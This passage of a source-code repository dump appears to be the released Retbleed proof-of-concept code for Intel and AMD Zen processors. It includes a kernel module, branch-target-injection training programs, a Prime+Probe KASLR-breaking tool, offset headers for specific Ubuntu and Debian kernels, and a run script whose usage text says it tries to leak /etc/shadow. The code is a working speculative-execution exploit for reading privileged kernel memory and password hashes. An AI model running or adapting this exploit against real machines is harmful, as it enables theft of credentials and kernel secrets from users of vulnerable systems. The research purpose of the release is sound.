| if (request == REQ_SECRET) { 78 | asm volatile("lfence"); 79 | if (copy_to_user((void *)argp, random_bytes, sizeof(random_bytes)) != 0) { 80 | return -EFAULT; 81 | } 82 | } 83 | return 0; 84 | } 85 | 86 | 87 | static struct proc_ops pops = { 88 | .proc_ioctl = handle_ioctl, 89 | .proc_open = nonseekable_open, 90 | .proc_lseek = no_llseek, 91 | }; 92 | 93 | static void mod_spectre_exit(void) { 94 | proc_remove(procfs_file); 95 | } 96 | 97 | static int mod_spectre_init(void) { 98 | desc.physmap_base = page_offset_base; 99 | desc.kbr_dst = ((u64)&disclosure_gadget); 100 | desc.kbr_src = (u64)&speculation_primitive_ret; 101 | 102 | prandom_bytes(random_bytes, 0x1000); 103 | 104 | // The first byte is hardcoded. This allows us to infer the BTB collision 105 | // patterns from which we create the indexing functions. 106 | random_bytes[0] = 6; 107 | 108 | // want to leak from here... 109 | desc.secret = (long)random_bytes; 110 | 111 | pr_info("physmap_base %lx\n", page_offset_base); 112 | pr_info("kbr_src %lx\n", desc.kbr_src); 113 | pr_info("kbr_dst %lx\n", desc.kbr_dst); 114 | pr_info("secret %lx\n", desc.secret); 115 | pr_info("secret[0] %x\n", *(u8 *)desc.secret); 116 | 117 | procfs_file = proc_create(PROC_RETBLEED_POC, 0, NULL, &pops); 118 | return 0; 119 | } 120 | 121 | module_init(mod_spectre_init); 122 | module_exit(mod_spectre_exit); 123 | 124 | MODULE_LICENSE("GPL"); 125 | -------------------------------------------------------------------------------- /retbleed_intel/pocs/kmod_retbleed_poc/retbleed_poc_ioctl.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #define PROC_RETBLEED_POC "retbleed_poc" 3 | 4 | #define REQ_GADGET 222 5 | #define REQ_SPECULATE 111 6 | #define REQ_SECRET 333 7 | 8 | struct synth_gadget_desc { 9 | unsigned long physmap_base; 10 | unsigned long kbr_dst; 11 | unsigned long kbr_src; 12 | unsigned long secret; // points to secret 13 | }; 14 | 15 | struct payload { 16 | unsigned long reload_buffer; 17 | unsigned long secret; 18 | }; 19 | -------------------------------------------------------------------------------- /retbleed_intel/pocs/ret_bti.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include "common.h" 3 | #include 4 | #include 5 | #include 6 | 7 | // reload buffer entry that will turn hot as a reslut of mispeculation 8 | #define SECRET 10 9 | 10 | #define ROUNDS 9999 11 | 12 | // RB, reload buffer 13 | #define RB_PTR 0x13000000 14 | #define RB_STRIDE_BITS 12 15 | #define RB_SLOTS 0x10 16 | 17 | // COFFEE LAKEs, these addresses should collide if the lower 13 bits are 18 | // matching. 19 | #define BR_SRC1 0x120000000 20 | #define BR_SRC2 0x100200000 21 | 22 | typedef unsigned long u64; 23 | typedef unsigned char u8; 24 | __attribute__((aligned(4096))) static u64 results[RB_SLOTS] = {0}; 25 | 26 | // discloure gadget. leak content of "rdi", which is number 0 -- RB_SLOTS 27 | void train_dst(); 28 | asm( 29 | ".align 0x1000\n\t" 30 | "train_dst:\n\t" 31 | "shl $" xstr(RB_STRIDE_BITS) ", %rdi\n\t" 32 | "mov "xstr(RB_PTR) "(%rdi), %rax\n\t" 33 | "lfence\n\t" // stop here when speculating ;) 34 | "jmp flush\n\t" 35 | ); 36 | 37 | // the spec_dst is the real path. we want to land at train_dst instead of here 38 | // to have a successful misprediction. 39 | void spec_dst(); 40 | asm( 41 | "spec_dst:\n\t" 42 | "lfence\n\t" // stop here when speculating ;) 43 | "jmp reload\n\t" 44 | ); 45 | 46 | __attribute__((aligned(1024))) 47 | static void print_results(u64 *results, int n) { 48 | for (int i = 0; i < n; ++i) { 49 | printf("%lu ", results[i]); 50 | } 51 | puts(""); 52 | } 53 | 54 | 55 | // use return instruction to mispredict 56 | #define USE_RET 57 | // use return instruction for training 58 | //#define USE_RET_TRAINING 59 | 60 | /** 61 | * Calling this template, because this code is never directly executed. It is 62 | * copied to BR_SRC1 and executed there. We have two macros that changes the 63 | * behavior. 64 | * - USE_RET: the interesting one, using ret instruction when returning from the 65 | * mispredicting function, otherwise it uses jmp * 66 | * - USE_TRAINING_RET: use a ret for training. use a jmp* otherwise. 67 | * 68 | * The table below displays what we've observed with the combination of the two: 69 | * 70 | * Tr \ Sp | ret | jmp* 71 | * --------+-----+------ 72 | * ret | Y | N (training with ret does not seem to affect jmp*) 73 | * jmp* | Y | Y 74 | * 75 | */ 76 | void br_src_training_tmpl_end(); 77 | void br_src_training_tmpl(); 78 | asm( 79 | ".align 0x80000\n\t" 80 | "br_src_training_tmpl:\n\t" 81 | "mfence\n\t" 82 | #ifdef USE_RET_TRAINING 83 | "push (%r8)\n\t" 84 | "ret\n\t" 85 | #else 86 | "nop\n\t" 87 | "jmp *(%r8)\n\t" 88 | #endif 89 | "br_src_training_tmpl_end:\n\t" 90 | ); 91 | 92 | void br_src_mispredict_tmpl_end(); 93 | void br_src_mispredict_tmpl(); 94 | asm( 95 | ".align 0x80000\n\t" 96 | "br_src_mispredict_tmpl:\n\t" 97 | "mfence\n\t" 98 | #ifdef USE_RET 99 | "nop\n\t" // magic ;) 100 | "push (%r8)\n\t" 101 | "ret\n\t" 102 | #else // USE_RET 103 | "nop\n\t" 104 | "jmp *(%r8)\n\t" 105 | #endif 106 | "br_src_mispredict_tmpl_end:\n\t" 107 | ); 108 | 109 | // somehow adding more does not improve results. 29 works well on Coffee Lake 110 | // but 29 does not work at all on Coffee Lake Refresh. To make Coffee Lake 111 | // Refresh mispredict on returns, set it to 28 112 | #define RET_PATH_LENGTH 29 113 | #define TRAIN_PATH 0x280000 114 | 115 | int main(int argc, char *argv[]) 116 | { 117 | memset(results, 0, sizeof(results[0])*RB_SLOTS); 118 | // somehow we're not always getting THP, so we map with HUGETLB here instead 119 | MAP_OR_DIE((u8 *)RB_PTR, 1<<21, PROT_RW, MMAP_FLAGS|MAP_HUGETLB, -1, 0); 120 | 121 | u64 dst_ptr = 0; 122 | u64 ret_path[RET_PATH_LENGTH] = {0}; 123 | u64 br_src_training_sz = br_src_training_tmpl_end - br_src_training_tmpl; 124 | u64 br_src_mispredict_sz = br_src_mispredict_tmpl_end - br_src_mispredict_tmpl; 125 | 126 | MAP_OR_DIE((u8*)(TRAIN_PATH & ~0xfff), 0x1000, PROT_RWX, MMAP_FLAGS, -1, 0); 127 | memcpy((u8*)TRAIN_PATH, "\xc3", 1); // ret; 128 | MAP_OR_DIE((u8*)(BR_SRC1 & ~0xfff), PG_ROUND(br_src_training_sz), PROT_RWX, MMAP_FLAGS, -1, 0); 129 | MAP_OR_DIE((u8*)(BR_SRC2 & ~0xfff), PG_ROUND(br_src_mispredict_sz), PROT_RWX, MMAP_FLAGS, -1, 0); 130 | memcpy((u8 *)BR_SRC1, br_src_training_tmpl, br_src_training_sz); 131 | memcpy((u8 *)BR_SRC2, br_src_mispredict_tmpl, br_src_mispredict_tmpl_end-br_src_mispredict_tmpl); 132 | for (int i = 0; i < RET_PATH_LENGTH; ++i) { 133 | ret_path[i] = TRAIN_PATH; 134 | } 135 | 136 | for (int i = 0; i 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "retbleed.h" 10 | #include "retbleed_zen.h" 11 | 12 | #define KBASE 0xffffffff81000000 13 | #define KBASE_END 0xffffffffbe000000 14 | 15 | /** 16 | * According to TagBleed (Koschel), kernel text must reside within this range 17 | */ 18 | #define NCAND ((KBASE_END - KBASE)>>21) 19 | 20 | /** 21 | * Maximum clock cycles to Probe the L1 set. Anything above is considered extra 22 | * noise so we cap it here. This seems to differ accorss machines. Some manual 23 | * calibration may be necessary. 24 | */ 25 | #define TIME_MAX 120 26 | 27 | #define PROBE_SET 29 // 0-63 28 | 29 | /** 30 | * For P+P on L1d$. 31 | */ 32 | #define WAYNESS 8 33 | 34 | /** 35 | * Prime+Probe primitive. Prime+Probe primitive. Prime+Probe primitive. 36 | */ 37 | #define PP() do{\ 38 | pp.buf[\ 39 | pp.buf[\ 40 | pp.buf[\ 41 | pp.buf[\ 42 | pp.buf[\ 43 | pp.buf[\ 44 | pp.buf[\ 45 | pp.buf[PROBE_SET*0x40] * 0x1000 + PROBE_SET*0x40\ 46 | ] * 0x1000 + PROBE_SET*0x40\ 47 | ] * 0x1000 + PROBE_SET*0x40\ 48 | ] * 0x1000 + PROBE_SET*0x40\ 49 | ] * 0x1000 + PROBE_SET*0x40\ 50 | ] * 0x1000 + PROBE_SET*0x40\ 51 | ] * 0x1000 + PROBE_SET*0x40 + 3\ 52 | ] = 3;\ 53 | } while(0) 54 | 55 | /** 56 | * Candidate kernel text base offset. 57 | */ 58 | struct kcand { 59 | u64 base; 60 | u64 bb_start; 61 | u64 t; 62 | }; 63 | struct kcand kbase_cand[NCAND]; 64 | 65 | int do_break_kaslr () 66 | { 67 | setup_segv_handler(); 68 | 69 | struct mem_info pp; 70 | pp.va = 0x1330000000L; 71 | map_or_die(pp.buf, 1UL<<21, PROT_RW, MMAP_FLAGS, -1, 0); 72 | madvise((void*)pp.buf, 1UL<<21, MADV_HUGEPAGE); 73 | 74 | // setting up pointer chasing of pages in a not-so-predictable order for L1 75 | // P+P primitive 76 | for (int way = 0; way < WAYNESS; ++way) { 77 | int q = (7*way + 12) & (WAYNESS-1); 78 | pp.buf[PROBE_SET*0x40 + q * 0x1000] = ((q+1)%WAYNESS); 79 | } 80 | 81 | for (int i = 0; i < NCAND ; ++i) { 82 | struct kcand *k = &kbase_cand[i]; 83 | k->base = KBASE + (i<<21UL); 84 | u64 src = (k->base + MMAP_RET_OFFSET) ^ PWN_PATTERN; 85 | u64 src_page = src & ~0xfffUL; 86 | k->bb_start = src_page + (MMAP_LAST_TGT&0xfff); 87 | map_or_die((u8 *)src_page, 0x1000, PROT_RWX, MMAP_FLAGS, -1, 0); 88 | memset((u8 *)k->bb_start, 0x90, MMAP_RET_OFFSET - MMAP_LAST_TGT); 89 | 90 | // ff e1 jmp *%rcx 91 | *(u8 *)(src-1) = 0xff; 92 | *(u8 *)src = 0xe1; 93 | } 94 | 95 | // sweeping over all candidates kernel base candidates a few times.. 96 | for (int i = 0; i < 20; ++i) { 97 | for (int j = 0; j < NCAND; ++j) { 98 | struct kcand *k = &kbase_cand[j]; 99 | should_segfault = 1; 100 | int a = sigsetjmp(env, 1); 101 | if (a == 0) { 102 | asm("jmp *%1" :: "c"(k->base+KASLR_OFFSET), "r"(k->bb_start)); 103 | } 104 | should_segfault = 0; 105 | rdtsc();//sync 106 | PP(); 107 | CALL_KASLR_GADGET(PROBE_SET*0x40); 108 | u64 t0 = rdtsc(); 109 | PP(); 110 | u64 t = rdtscp() - t0; 111 | k->t += MIN(t, TIME_MAX); 112 | } 113 | } 114 | 115 | u64 slowest = 0; 116 | u64 guess_kbase = -1; 117 | for(int j = 0; j < NCAND; ++j) { 118 | u64 t = kbase_cand[j].t; 119 | u64 kbase_try = kbase_cand[j].base; 120 | if (t > slowest) { 121 | slowest = t; 122 | guess_kbase = kbase_try; 123 | } 124 | } 125 | printf("[*] %lx (%lu)\n", guess_kbase, slowest); 126 | return 0; 127 | } 128 | 129 | int main(int argc, char *argv[]) 130 | { 131 | do_break_kaslr(); 132 | return 0; 133 | } 134 | -------------------------------------------------------------------------------- /retbleed_zen/exploits/do_retbleed.sh: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | #!/bin/bash 3 | set -e 4 | if [ $# -lt 1 ]; then 5 | echo "usage: $0 [core_id=0] [leak_perf]" 6 | echo " unless leak_perf is set (to anything), try to leak /etc/shadow" 7 | exit 1 8 | fi 9 | 10 | function kill_neighbor { 11 | kill -SIGTERM $! 12 | } 13 | 14 | trap kill_neighbor EXIT 15 | 16 | CORE=${2:-0} 17 | cpulist=($(grep core\ id /proc/cpuinfo | nl -v 0 | grep "$CORE$" | sed 's/\s*\([0-9]*\).*$/\1/g')) 18 | HT1=${cpulist[0]} 19 | HT2=${cpulist[1]} 20 | 21 | KERN_TEXT=$1 22 | 23 | echo Using Core $HT1 and $HT2 24 | 25 | taskset -c $HT1 ./noisy_neighbor & 26 | sleep 0.1 # just dont mess up the output from neighbor 27 | while ! taskset -c $HT2 ./retbleed $KERN_TEXT $3; do 28 | true 29 | done 30 | -------------------------------------------------------------------------------- /retbleed_zen/exploits/noisy_neighbor.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | 3 | #include 4 | #include 5 | #include 6 | #define _GNU_SOURCE 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | inline 21 | void 22 | __attribute__((always_inline)) 23 | maccess(void* p) 24 | { 25 | __asm__ volatile ("movq %%rax, (%0)\n" : : "c" (p) : "rax"); 26 | } 27 | #define SHIFT 12 28 | #define BUF_SZ (1UL<<22UL) 29 | void evict(unsigned char *map) { 30 | #define L1_N 32 31 | #define L2_N 16 32 | // L1d 33 | for (int i = L1_N-1 ; i >= 0; --i) { 34 | asm volatile ("movq %%rax, (%0)\n" : : "c" (&map[(i< L1_N; ++i) { 37 | asm volatile ("movq %%rax, (%0)\n" : : "c" (&map[(i<= 0; --i) { 40 | asm volatile ("movq %%rax, (%0)\n" : : "c" (&map[(i<=0; --i) { 44 | asm volatile ("movq %%rax, (%0)\n" : : "c" (&map[(i<<16)]) : ); 45 | } 46 | for (int i = 1 ; i < L2_N; ++i) { 47 | asm volatile ("movq %%rax, (%0)\n" : : "c" (&map[(i<<16)]) : ); 48 | } 49 | for (int i = L2_N-1 ; i >=0; --i) { 50 | asm volatile ("movq %%rax, (%0)\n" : : "c" (&map[(i<<16)]) : ); 51 | } 52 | } 53 | void *_do_evict(void *arg) { 54 | #define MY_PTR 0x13350f000000UL 55 | /* int cpu = 8; */ 56 | /* cpu_set_t set; */ 57 | /* CPU_ZERO(&set); */ 58 | /* CPU_SET(cpu, &set); */ 59 | /* sched_setaffinity(gettid(), sizeof(set), &set); */ 60 | 61 | unsigned char *map = (unsigned char *) MY_PTR; 62 | prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); 63 | /* unsigned char *map2 = (unsigned char *) MY_PTR+BUF_SZ; */ 64 | #define MMAP_FLAGS (MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE | MAP_FIXED_NOREPLACE) 65 | #define PROT_RWX (PROT_READ | PROT_WRITE | PROT_EXEC) 66 | 67 | map = mmap((void *)MY_PTR, BUF_SZ, PROT_RWX, MMAP_FLAGS, -1, 0); 68 | madvise(map, BUF_SZ, MADV_HUGEPAGE); 69 | /* mmap_huge(map2, BUF_SZ); */ 70 | unsigned long addr = 0xf00; 71 | 72 | for (;;) { 73 | /* evict(map+addr); */ 74 | /* evict(map2+addr); */ 75 | for (long x = 0; x < (BUF_SZ>>(SHIFT+2)); x++) { 76 | maccess(&map[addr + (x<>(SHIFT+2))-2; x >= 0 ; x--) { 81 | maccess(&map[addr + (x< 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define MMAP_FLAGS (MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE | MAP_FIXED_NOREPLACE) 13 | #define PROT_RWX (PROT_READ | PROT_WRITE | PROT_EXEC) 14 | #define PROT_RW (PROT_READ | PROT_WRITE) 15 | typedef unsigned long u64; 16 | typedef unsigned char u8; 17 | 18 | #define MIN(x,n) (x > n ? n : x) 19 | #define str(s) #s 20 | #define xstr(s) str(s) 21 | #define NOP asm volatile("nop") 22 | #define NOPS_str(n) ".rept " xstr(n) "\n\t"\ 23 | "nop\n\t"\ 24 | ".endr\n\t" 25 | #define NOPS(n) asm volatile(NOPS_str(n)) 26 | 27 | #define map_or_die(...) do {\ 28 | if (mmap(__VA_ARGS__) == MAP_FAILED) err(1, "mmap");\ 29 | } while(0) 30 | 31 | static long va_to_phys(int fd, long va) 32 | { 33 | unsigned long pa_with_flags; 34 | 35 | lseek(fd, ((long) (~0xfffUL)&va)>>9, SEEK_SET); 36 | read(fd, &pa_with_flags, 8); 37 | return pa_with_flags<<12 | (va & 0xfff); 38 | } 39 | 40 | 41 | /** 42 | * Descriptor of some memory, i.e., our reload buffer or probe buffer. 43 | */ 44 | struct mem_info { 45 | union { 46 | u64 va; 47 | u8* buf; 48 | }; 49 | u64 kva; 50 | u64 pa; 51 | }; 52 | 53 | static inline unsigned long get_ms() { 54 | static struct timeval tp; 55 | gettimeofday(&tp, 0); 56 | return tp.tv_sec * 1000 + tp.tv_usec / 1000; 57 | } 58 | 59 | static inline __attribute__((always_inline)) u64 rdtsc(void) { 60 | u64 lo, hi; 61 | asm volatile ("CPUID\n\t" 62 | "RDTSC\n\t" 63 | "movq %%rdx, %0\n\t" 64 | "movq %%rax, %1\n\t" : "=r" (hi), "=r" (lo):: 65 | "%rax", "%rbx", "%rcx", "%rdx"); 66 | return (hi << 32) | lo; 67 | } 68 | 69 | static inline __attribute__((always_inline)) u64 rdtscp(void) { 70 | u64 lo, hi; 71 | asm volatile("RDTSCP\n\t" 72 | "movq %%rdx, %0\n\t" 73 | "movq %%rax, %1\n\t" 74 | "CPUID\n\t": "=r" (hi), "=r" (lo):: "%rax", 75 | "%rbx", "%rcx", "%rdx"); 76 | return (hi << 32) | lo; 77 | } 78 | 79 | // flip to 1 when we SHOULD segfault and not crash the program 80 | static int should_segfault = 0; 81 | static sigjmp_buf env; 82 | static void handle_segv(int sig, siginfo_t *si, void *unused) 83 | { 84 | if (should_segfault) { 85 | siglongjmp(env, 12); 86 | return; 87 | }; 88 | 89 | fprintf(stderr, "Not handling SIGSEGV\n"); 90 | exit(sig); 91 | } 92 | 93 | static void inline setup_segv_handler() { 94 | struct sigaction sa; 95 | sa.sa_flags = SA_SIGINFO; 96 | sigemptyset(&sa.sa_mask); 97 | sa.sa_sigaction = &handle_segv; 98 | sigaction (SIGSEGV, &sa, NULL); 99 | } 100 | 101 | static inline __attribute__((always_inline)) void reload_range(long base, long stride, int n, u64 *results) { 102 | __asm__ volatile("mfence\n"); 103 | for (u64 k = 0; k < n; ++k) { 104 | u64 c = (k*13+9)&(n-1); 105 | unsigned volatile char *p = (u8 *)base + (stride * c); 106 | u64 t0 = rdtsc(); 107 | *(volatile unsigned char *)p; 108 | u64 dt = rdtscp() - t0; 109 | //if (dt < 140) results[c]++; 110 | if (dt < 160) results[c]++; 111 | } 112 | } 113 | static inline __attribute__((always_inline)) void flush_range(long start, long stride, int n) { 114 | for (u64 k = 0; k < n; ++k) { 115 | volatile void *p = (u8 *)start + k * stride; 116 | __asm__ volatile("clflushopt (%0)\n"::"r"(p)); 117 | __asm__ volatile("clflushopt (%0)\n"::"r"(p)); 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /retbleed_zen/exploits/retbleed_zen.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | /** 3 | * We're targeting the latest kernel on Ubuntu 20.04 (focal). It's assumed to 4 | * installed directly from the offical repo. The offsets below can be collected 5 | * in an offline phase using static analysis. 6 | */ 7 | // Makefile defines these 8 | // #define DEBIAN_5_10_26_kwik 9 | // #define UBUNTU_5_8_0_63_GENERIC 10 | 11 | /** 12 | * Using this pattern we create a collision on return instructions in the 13 | * kernel. bit 23 is the crucial one to flip to get a collision but it seems 14 | * like there's an even better signal when flipping more, probably I'm just 15 | * imagining things. More details in the paper. 16 | * 17 | * Note for Zen1: A different pattern is used. We can supply exploits for Zen1 18 | * too. It *should* only need a different pattern here. 19 | */ 20 | #define PWN_PATTERN 0xffff80f00f800000UL 21 | #define PWN_PATTERN2 0xffff802002800000UL 22 | 23 | #ifndef SYS_MMAP 24 | #define SYS_MMAP 9 25 | #endif 26 | 27 | #define TRAINING_ASM asm volatile ("jmp *%1" :: "c"(pi->target), "r"(pi->bb_start)) 28 | 29 | 30 | #if defined(UBUNTU_5_8_0_63_GENERIC) 31 | #include "./offsets_5_8_0_63_generic.h" 32 | #elif defined(DEBIAN_5_10_26_kwik) 33 | #include "./offsets_5_10_26_kwik.h" 34 | #else 35 | #error I don't know your kernel... 36 | #define OFFSET 0 37 | #define MMAP_LAST_TGT 0UL 38 | #define MMAP_RET_OFFSET 0UL 39 | #define MMAP_BB_SZ 0UL 40 | #define KASLR_OFFSET 0UL 41 | #define CALL_KASLR_GADGET(...) 42 | #define PA_OFFSET 0UL 43 | #define CALL_PA_GADGET(...) 44 | #define PHYSMAP_OFFSET 0UL 45 | #define CALL_PHYSMAP_GADGET(...) 46 | #define LEAK_ASCII_OFFSET 0UL 47 | #define CALL_LEAK_ASCII_GADGET(...) 48 | #define LEAK_OFFSET 0UL 49 | #define CALL_LEAK_GADGET(...) 50 | #endif 51 | -------------------------------------------------------------------------------- /retbleed_zen/pocs/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | CC = clang 3 | CFLAGS = -O3 4 | 5 | all: ret_bti cp_bti 6 | 7 | ret_bti: ./ret_bti.c ./common.h 8 | $(CC) $(CFLAGS) -o $@ $< 9 | 10 | cp_bti: ./cp_bti.c ./common.h 11 | $(CC) $(CFLAGS) -o $@ $< 12 | 13 | eval_bw: ./eval_bw.c ./common.h 14 | $(CC) $(CFLAGS) -o $@ $< 15 | 16 | clean: 17 | rm -f ret_bti cp_bti eval_bw 18 | -------------------------------------------------------------------------------- /retbleed_zen/pocs/README.md: -------------------------------------------------------------------------------- 1 | # Retbleed pocs 2 | 3 | Two experiments are provided: 4 | 5 | - `./ret_bti`. Shows that it is possible to generate BTB collision patterns on 6 | Zen1, Zen2 and Zen3 (but zen3 may need some tweaking to work). 7 | - `./cp_bti`. Shows cross privilege boundary training possible. This PoC 8 | requires the kmod provided. `cd ./kmod_retbleed_poc && make install` it 9 | first. 10 | 11 | -------------------------------------------------------------------------------- /retbleed_zen/pocs/common.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define MMAP_FLAGS (MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE | MAP_FIXED_NOREPLACE) 10 | #define PROT_RW (PROT_READ | PROT_WRITE) 11 | #define PROT_RWX (PROT_RW | PROT_EXEC) 12 | 13 | #define PG_ROUND(n) (((((n)-1UL)>>12)+1)<<12) 14 | 15 | #define str(s) #s 16 | #define xstr(s) str(s) 17 | 18 | #define NOP asm volatile("nop") 19 | #define NOPS_str(n) ".rept " xstr(n) "\n\t"\ 20 | "nop\n\t"\ 21 | ".endr\n\t" 22 | 23 | typedef unsigned long u64; 24 | typedef unsigned char u8; 25 | 26 | // start measure. 27 | static inline __attribute__((always_inline)) u64 rdtsc(void) { 28 | u64 lo, hi; 29 | asm volatile ("CPUID\n\t" 30 | "RDTSC\n\t" 31 | "movq %%rdx, %0\n\t" 32 | "movq %%rax, %1\n\t" : "=r" (hi), "=r" (lo):: 33 | "%rax", "%rbx", "%rcx", "%rdx"); 34 | return (hi << 32) | lo; 35 | } 36 | 37 | // stop meassure. 38 | static inline __attribute__((always_inline)) u64 rdtscp(void) { 39 | u64 lo, hi; 40 | asm volatile("RDTSCP\n\t" 41 | "movq %%rdx, %0\n\t" 42 | "movq %%rax, %1\n\t" 43 | "CPUID\n\t": "=r" (hi), "=r" (lo):: "%rax", 44 | "%rbx", "%rcx", "%rdx"); 45 | return (hi << 32) | lo; 46 | } 47 | 48 | static inline __attribute__((always_inline)) void reload_range(long base, long stride, int n, u64 *results) { 49 | __asm__ volatile("mfence\n"); // all memory operations done. 50 | for (u64 k = 0; k < n; ++k) { 51 | u64 c = (k*7+15)&(n-1); // c=1,0,3,2 works for 16 entries Intel only 52 | // u64 c = (k*17+64)&(n-1); // c=1,0,3,2 53 | unsigned volatile char *p = (u8 *)base + (stride * c); 54 | u64 t0 = rdtsc(); 55 | *(volatile unsigned char *)p; 56 | u64 dt = rdtscp() - t0; 57 | if (dt < 130) results[c]++; 58 | } 59 | } 60 | 61 | static inline __attribute__((always_inline)) void flush_range(long start, long stride, int n) { 62 | asm("mfence"); 63 | for (u64 k = 0; k < n; ++k) { 64 | volatile void *p = (u8 *)start + k * stride; 65 | __asm__ volatile("clflushopt (%0)\n"::"r"(p)); 66 | __asm__ volatile("clflushopt (%0)\n"::"r"(p)); 67 | } 68 | asm("lfence"); 69 | } 70 | 71 | // probably not what you want for arrays. its for immediate numbers of arbitrary 72 | // length. 73 | static inline void mem2bin(char *dst, unsigned char *in, int l) { 74 | for (int i = 0; i < l; ++i) { 75 | dst[(l-1)-i] = (in[i>>3] >> (i&0x7) & 1) + '0'; 76 | } 77 | } 78 | 79 | static inline void short2bin(char *dst, u64 in) { 80 | mem2bin(dst, (unsigned char*)&in, 16); 81 | } 82 | 83 | static inline void long2bin(char *dst, u64 in) { 84 | mem2bin(dst, (unsigned char *)&in, 64); 85 | } 86 | 87 | 88 | static u64 get_next_slow(u64 cur, int nbits) { 89 | while (__builtin_popcountll(++cur) != nbits) 90 | ; 91 | return cur; 92 | } 93 | 94 | static u64 get_next_fast(u64 cur) { 95 | int nbits = __builtin_popcountll(cur); 96 | int rbits = 0; 97 | for (int bi = 0; bi < 64; ++bi) { 98 | u64 tup = (cur>>bi)&0x3; 99 | if (tup == 0x3) { 100 | rbits ++; 101 | } else if (tup == 0x1) { 102 | // swap 0b01 -> 0b10 103 | cur ^= 0x3UL< 4 | #include 5 | #include 6 | #include "./kmod_retbleed_poc/retbleed_poc_ioctl.h" 7 | #include 8 | #include 9 | #include 10 | 11 | // how many rounds to try mispredict? Many rounds often breaks things. Probably 12 | // there's some usefulness bits that downvotes a bad prediction. 13 | #define ROUNDS 50 14 | 15 | // RB, reload buffer 16 | #define RB_PTR 0x13300000000 17 | #define RB_STRIDE_BITS 12 18 | #define RB_SLOTS 0x10 19 | 20 | // try all user-space patterns 21 | #define MAX_BIT 47 22 | 23 | // flip at most this many bits in the victim src address. 24 | #define MAX_MUTATIONS 4 25 | 26 | // skip flipping bits in the lower part of training src, we can often assume that 27 | // they have to match with the lower bits 28 | #define SKIP_LOWER_BITS 6 29 | 30 | #define PG_ROUND(n) (((((n)-1UL)>>12)+1)<<12) 31 | 32 | __attribute__((aligned(4096))) static u64 results[RB_SLOTS] = {0}; 33 | 34 | struct mem_info { 35 | union { 36 | u64 va; 37 | u8* buf; 38 | }; 39 | u64 kva; 40 | u64 pa; 41 | }; 42 | 43 | static long va_to_phys(int fd, long va) 44 | { 45 | unsigned long pa_with_flags; 46 | 47 | lseek(fd, ((long) va)>>9, SEEK_SET); 48 | read(fd, &pa_with_flags, 8); 49 | // printf("phys %p\n", (void*)pa_with_flags); 50 | return pa_with_flags<<12 | (va & 0xfff); 51 | } 52 | 53 | // flip to 1 when we SHOULD segfault and not crash the program 54 | static int should_segfault = 0; 55 | 56 | static sigjmp_buf env; 57 | static void handle_segv(int sig, siginfo_t *si, void *unused) 58 | { 59 | if (should_segfault) { 60 | siglongjmp(env, 12); 61 | return; 62 | }; 63 | 64 | fprintf(stderr, "Not handling SIGSEGV\n"); 65 | exit(sig); 66 | } 67 | 68 | int main(int argc, char *argv[]) 69 | { 70 | struct mem_info rb; 71 | struct synth_gadget_desc sgd; 72 | rb.va = RB_PTR; 73 | 74 | struct sigaction sa; 75 | sa.sa_flags = SA_SIGINFO; 76 | sigemptyset(&sa.sa_mask); 77 | sa.sa_sigaction = &handle_segv; 78 | sigaction (SIGSEGV, &sa, NULL); 79 | 80 | #define MAX(a,b) ((a) > (b)) ? a : b 81 | #define RB_SZ MAX(RB_SLOTS< 1) { 179 | char binstr[64+1] = {0}; //0,1 or null 180 | mem2bin(binstr, (unsigned char*)&ptrn_shl, 48); 181 | printf("[+] %s; %02d; 0x%012lx; %0.2f", binstr, 182 | i, (u64)(br_src_training+br_src_training_sz), 183 | results[i]/(ROUNDS+.0)); 184 | printf("\n"); 185 | } 186 | } 187 | memset(results, 0, RB_SLOTS*sizeof(results[0])); 188 | munmap((void*)(br_src_training&~0xfffUL), PG_ROUND(br_src_training_sz)); 189 | } 190 | } 191 | return 0; 192 | } 193 | -------------------------------------------------------------------------------- /retbleed_zen/pocs/eval_bw.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include "common.h" 3 | #include 4 | #include 5 | #include 6 | #include "./kmod_retbleed_poc/retbleed_poc_ioctl.h" 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | static inline unsigned long get_ms() { 13 | static struct timeval tp; 14 | gettimeofday(&tp, 0); 15 | return tp.tv_sec * 1000 + tp.tv_usec / 1000; 16 | } 17 | 18 | // Zen/+ 19 | /* #define PWN_PATTERN 0xffff800008140000UL */ 20 | // Zen2 21 | #define PWN_PATTERN 0xffff802002800000UL 22 | 23 | 24 | // how many rounds to try mispredict? Many rounds often breaks things. Probably 25 | // there's some usefulness bits that downvotes a bad prediction. 26 | #define ROUNDS 10000 27 | 28 | // RB, reload buffer 29 | #define RB_PTR 0x13300000000 30 | #define RB_STRIDE_BITS 12 31 | #define RB_SLOTS 0x100 32 | 33 | #define PG_ROUND(n) (((((n)-1UL)>>12)+1)<<12) 34 | 35 | __attribute__((aligned(4096))) static u64 results[RB_SLOTS] = {0}; 36 | 37 | struct mem_info { 38 | union { 39 | u64 va; 40 | u8* buf; 41 | }; 42 | u64 kva; 43 | u64 pa; 44 | }; 45 | 46 | static long va_to_phys(int fd, long va) 47 | { 48 | unsigned long pa_with_flags; 49 | 50 | lseek(fd, ((long) va)>>9, SEEK_SET); 51 | read(fd, &pa_with_flags, 8); 52 